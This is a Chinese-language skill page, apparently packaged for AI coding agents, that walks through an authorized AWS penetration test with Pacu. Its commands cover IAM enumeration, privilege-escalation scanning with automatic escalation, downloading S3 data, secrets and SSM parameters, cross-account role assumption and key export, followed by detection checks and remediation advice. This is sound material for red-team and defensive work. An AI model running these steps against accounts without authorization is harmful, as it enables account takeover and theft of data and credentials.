performing-cloud-penetration-testing-with-pacu

使用开源 AWS 利用框架 Pacu 执行已授权的 AWS 渗透测试，枚举 IAM 配置、发现权限提升路径、测试凭据收集，并通过系统化的攻击模拟验证安全控制。

跳到安装

仓库: killvxk/cybersecurity-skills-zh
最近来源活动: 2026年3月17日 21:38
检测到的 SKILL.md 语言: 中文
星标: 42
分支: 9

安装方式

默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。

用 Codex 或 Claude 帮你安装复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。

直接命令不会经过审查 Prompt；运行前请先检查来源。

npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill performing-cloud-penetration-testing-with-pacu

命令会保持在同一行。复制前请横向滚动并检查完整内容。

想先保存到本地？可下载 SkillsMP 当前能够提供的文件。

检查来源文件

决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。

文件资源管理器

4 个文件

SKILL.md

来源说明 · 只读预览

返回搜索返回安装

hunting-for-dns-tunneling-with-zeek

通过分析 Zeek dns.log 中的高熵子域名查询、超量查询量、超长查询长度以及异常 DNS 记录类型，检测 DNS 隧道和数据外泄中的隐蔽通道通信。适用于：当需要狩猎基于 DNS 的 C2 或数据外泄通道、调查异常 DNS 查询模式、或响应涉及 DNS 隧道工具（iodine、dnscat2、DNSExfiltrator）的威胁情报时使用。

2026-04-27

implementing-beyondcorp-zero-trust-access-model

实施 Google 的 BeyondCorp 零信任访问模型，通过 IAP、Access Context Manager 和 Chrome Enterprise Premium，消除网络边界的隐式信任，强制执行基于身份的访问控制，实现无 VPN 的安全应用访问。适用于将传统 VPN 替换为零信任架构、部署 Identity-Aware Proxy、配置设备信任策略、或为远程办公实施上下文感知访问控制时使用。

2026-04-27

testing-for-xss-vulnerabilities-with-burpsuite

在授权的安全评估过程中，使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本（XSS）漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS，验证自动化扫描器报告的 XSS 发现，以及评估 CSP 和 XSS 过滤器的有效性时使用。

2026-04-27

查看这个仓库的全部 Skills

name	performing-cloud-penetration-testing-with-pacu
description	使用开源 AWS 利用框架 Pacu 执行已授权的 AWS 渗透测试，枚举 IAM 配置、发现权限提升路径、测试凭据收集，并通过系统化的攻击模拟验证安全控制。
domain	cybersecurity
subdomain	cloud-security
tags	["cloud-security","aws","pacu","penetration-testing","offensive-security","iam-exploitation"]
version	1.0
author	mahipal
license	Apache-2.0

使用 Pacu 执行云渗透测试

适用场景

对 AWS 环境进行已授权的渗透测试时
验证 IAM 策略、SCP 和权限边界的有效性时
评估一组受损 AWS 凭据的影响范围时
测试 GuardDuty、Security Hub 和自定义告警的检测能力时
针对 AWS 云基础设施构建红队演练（Red Teaming）时

不适用于：未授权的任何 AWS 账户测试、测试 AWS 基础设施本身（属于共同责任范畴）、未经 AWS 批准的 DDoS 或大规模攻击，或在没有明确授权和应急程序的情况下测试生产账户。

前置条件

已获取 AWS 账户所有者的书面授权，并定义了范围和交战规则
已安装 Pacu v1.5+（pip install pacu）
具有有限初始权限的测试 AWS 凭据（模拟凭据泄露场景）
已启用 CloudTrail 日志，用于捕获所有 Pacu 活动以供事后审查
已启用 GuardDuty，用于验证 Pacu 活动的检测情况
已记录紧急联系人和回滚程序

工作流程

步骤 1：初始化 Pacu 会话并配置凭据

使用测试凭据设置 Pacu 会话，并定义测试范围。

# 安装 Pacu
pip install pacu

# 启动 Pacu
pacu

# 为本次测试创建新会话
Pacu > set_keys --key-alias pentest-target
# 输入 Access Key ID: AKIA...
# 输入 Secret Access Key: ...

# 验证身份
Pacu > whoami

# 查看可用模块
Pacu > list
Pacu > search iam
Pacu > search ec2
Pacu > search s3

步骤 2：枚举 IAM 配置

运行 IAM 枚举模块，映射用户、角色、策略和组成员关系。

# 全面 IAM 枚举
Pacu > run iam__enum_users_roles_policies_groups

# 枚举当前主体的详细权限
Pacu > run iam__enum_permissions

# 枚举账户授权详情（需要 iam:GetAccountAuthorizationDetails）
Pacu > run iam__get_credential_report

# 枚举跨账户访问的角色信任策略
Pacu > run iam__enum_roles

# 检查当前会话数据
Pacu > data iam

步骤 3：扫描权限提升路径

使用 Pacu 的权限提升扫描器识别所有可利用的提升向量。

# 运行权限提升扫描器
Pacu > run iam__privesc_scan

# 扫描器测试 21+ 种提升方法：
# 方法 1:  iam:CreatePolicyVersion
# 方法 2:  iam:SetDefaultPolicyVersion
# 方法 3:  iam:PassRole + ec2:RunInstances
# 方法 4:  iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
# 方法 5:  iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping
# 方法 6:  iam:PassRole + glue:CreateDevEndpoint
# 方法 7:  iam:PassRole + cloudformation:CreateStack
# 方法 8:  iam:PassRole + datapipeline:CreatePipeline
# 方法 9:  iam:CreateAccessKey
# 方法 10: iam:CreateLoginProfile
# 方法 11: iam:UpdateLoginProfile
# 方法 12: iam:AttachUserPolicy
# 方法 13: iam:AttachGroupPolicy
# 方法 14: iam:AttachRolePolicy
# 方法 15: iam:PutUserPolicy
# 方法 16: iam:PutGroupPolicy
# 方法 17: iam:PutRolePolicy
# 方法 18: iam:AddUserToGroup
# 方法 19: iam:UpdateAssumeRolePolicy
# 方法 20: sts:AssumeRole
# 方法 21: lambda:UpdateFunctionCode

# 如果发现提升路径，尝试利用
Pacu > run iam__privesc_scan --escalate

步骤 4：枚举并测试数据访问

发现可访问的数据存储，包括 S3、DynamoDB、RDS 和 Secrets Manager。

# 枚举 S3 存储桶
Pacu > run s3__bucket_finder

# 下载 S3 存储桶数据进行分析
Pacu > run s3__download_bucket --bucket target-bucket --dl-names

# 枚举 EC2 实例并提取用户数据
Pacu > run ec2__enum
Pacu > run ec2__download_userdata

# 枚举 Lambda 函数，检查环境变量中的密钥
Pacu > run lambda__enum

# 枚举 Secrets Manager
Pacu > run secretsmanager__enum

# 枚举 SSM 参数（通常包含密钥）
Pacu > run ssm__download_parameters

# 检查暴露的 EBS 快照
Pacu > run ebs__enum_snapshots_unauth

步骤 5：测试横向移动和持久化

评估跨账户访问、服务利用和持久化机制。

# 测试跨账户角色担任
Pacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role/CrossAccountRole

# 枚举 Lambda 以寻找代码执行机会
Pacu > run lambda__enum
# 如果存在 lambda:UpdateFunctionCode 权限，可能注入代码

# 测试 EC2 instance connect 进行横向移动
Pacu > run ec2__enum
# 检查具有更广泛权限实例配置文件的实例

# 检查 CodeBuild 项目（潜在的凭据访问）
Pacu > run codebuild__enum

# 枚举 ECS/Fargate 进行基于容器的横向移动
Pacu > run ecs__enum

# 导出所有发现的数据
Pacu > data all

步骤 6：验证检测并生成报告

审查安全控制是否检测到测试活动，并汇总发现。

# 检查测试期间生成的 GuardDuty 发现
aws guardduty list-findings \
  --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
  --finding-criteria '{
    "Criterion": {
      "updatedAt": {"GreaterThanOrEqual": ENGAGEMENT_START_EPOCH}
    }
  }' --output json

# 检查 Security Hub 发现
aws securityhub get-findings \
  --filters '{
    "CreatedAt": [{"Start": "ENGAGEMENT_START_ISO", "End": "ENGAGEMENT_END_ISO"}]
  }'

# 导出 Pacu 会话数据用于报告
Pacu > export_keys --all
Pacu > data all > pacu-session-export.json

# 清理评估期间创建的测试产物
aws iam delete-user --user-name pacu-test-user 2>/dev/null
aws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>/dev/null

核心概念

术语	定义
Pacu	由 Rhino Security Labs 维护的开源 AWS 利用框架，为已授权渗透测试提供模块化攻击能力
权限提升扫描（Privilege Escalation Scan）	对 IAM 策略进行自动化分析，识别将有限访问提升至管理控制的已知方法
iam:PassRole	关键 IAM 操作，允许主体为 AWS 服务分配角色，通过 Lambda、EC2 或 Glue 实现间接权限提升
跨账户角色担任（Cross-Account Role Assumption）	通过信任策略配置使用 sts:AssumeRole 获取另一 AWS 账户的临时凭据
交战规则（Rules of Engagement）	定义渗透测试范围、方法、时间和边界的书面协议
后渗透（Post-Exploitation）	在获得初始访问后执行的活动，包括数据访问、横向移动和建立持久化

工具与系统

Pacu：AWS 利用框架，拥有 50+ 个枚举、提升、持久化和数据外泄模块
CloudFox：从攻击者角度识别攻击路径的 AWS 枚举工具
Principal Mapper：IAM 权限提升图形分析工具，用于可视化提升路径
ScoutSuite：多云安全评估工具，用于在测试前识别配置错误
AWS CloudTrail：审计日志，用于捕获测试期间的所有 Pacu 活动

常见场景

场景：从受损开发者凭据开始的红队评估

场景背景：红队演练模拟攻击者从泄露的代码仓库获取开发者 AWS 访问密钥的场景。目标是确定从此起点可实现的最大影响。

方法：

使用受损凭据初始化 Pacu，运行 whoami 确认身份
运行 iam__enum_permissions 映射开发者的有效权限
执行 iam__privesc_scan 识别从开发者到管理员的提升路径
发现开发者可以调用 iam:PassRole + lambda:CreateFunction，创建带管理员角色的 Lambda
利用提升获取管理员级别的临时凭据
枚举 S3 存储桶、下载敏感数据并访问 Secrets Manager
验证 GuardDuty 是否检测到提升和数据访问活动
清理所有测试产物并记录完整攻击链

常见陷阱：Pacu 模块可能产生大量噪音，在短时间内生成许多 API 调用。GuardDuty 可能从测试者 IP 触发 Recon:IAMUser/MaliciousIPCaller 发现。与 SOC 团队协调，将测试 IP 加入白名单，或建立清晰的沟通渠道以区分测试和真实攻击。测试后务必清理持久化产物。

输出格式

AWS 渗透测试报告（Pacu）
=====================================
目标账户: 123456789012
测试周期: 2026-02-20 至 2026-02-23
起始凭据: 开发者角色（S3 只读、Lambda 调用）
授权: ROE 文件 #PT-2026-015

攻击路径摘要:
  初始访问: S3 只读、Lambda 调用
  最终获得访问: AdministratorAccess（完全账户入侵）
  获得管理员权限时间: 47 分钟
  GuardDuty 检测: 是（12 分钟后）
  Security Hub 检测: 是（18 分钟后）
  SOC 响应时间: 45 分钟（错过了提升窗口）

已执行的 Pacu 模块:
  iam__enum_users_roles_policies_groups: 成功
  iam__enum_permissions: 成功
  iam__privesc_scan: 发现 3 条提升路径
  s3__download_bucket: 访问了 4 个存储桶
  lambda__enum: 枚举了 12 个函数
  secretsmanager__enum: 获取了 8 个密钥

已利用的提升路径:
  [1] iam:PassRole + lambda:CreateFunction -> AdminRole（严重）
  [2] sts:AssumeRole -> CrossAccountProdRole（高）
  [3] dev-policy 上的 iam:CreatePolicyVersion（严重）

访问的数据:
  下载的 S3 对象: 1,247 个文件（2.3 GB）
  Secrets Manager 值: 8 个密钥，包括数据库凭据
  SSM 参数: 23 个参数，包括 API 密钥

检测结果:
  GuardDuty 发现: 7 个
  Security Hub 发现: 12 个
  触发的自定义 CloudWatch 告警: 3 个
  SOC 确认: 是（45 分钟响应）

建议:
  1. 对所有开发者角色应用权限边界
  2. 从非管理员主体移除 iam:PassRole
  3. 将 SOC 对 IAM 提升告警的响应时间缩短到 15 分钟以内
  4. 在非管理员 OU 中实施 SCP，阻止 iam:CreatePolicyVersion

performing-cloud-penetration-testing-with-pacu

来源信息

安装方式

检查来源文件

同仓库更多 Skills

同仓库更多 Skills

使用 Pacu 执行云渗透测试

适用场景

前置条件

工作流程

步骤 1：初始化 Pacu 会话并配置凭据

步骤 2：枚举 IAM 配置

步骤 3：扫描权限提升路径

步骤 4：枚举并测试数据访问

步骤 5：测试横向移动和持久化

步骤 6：验证检测并生成报告

核心概念

工具与系统

常见场景

场景：从受损开发者凭据开始的红队评估

输出格式

使用 Pacu 执行云渗透测试

适用场景

前置条件

工作流程

步骤 1：初始化 Pacu 会话并配置凭据

步骤 2：枚举 IAM 配置

步骤 3：扫描权限提升路径

步骤 4：枚举并测试数据访问

步骤 5：测试横向移动和持久化

步骤 6：验证检测并生成报告

核心概念

工具与系统

常见场景

场景：从受损开发者凭据开始的红队评估

输出格式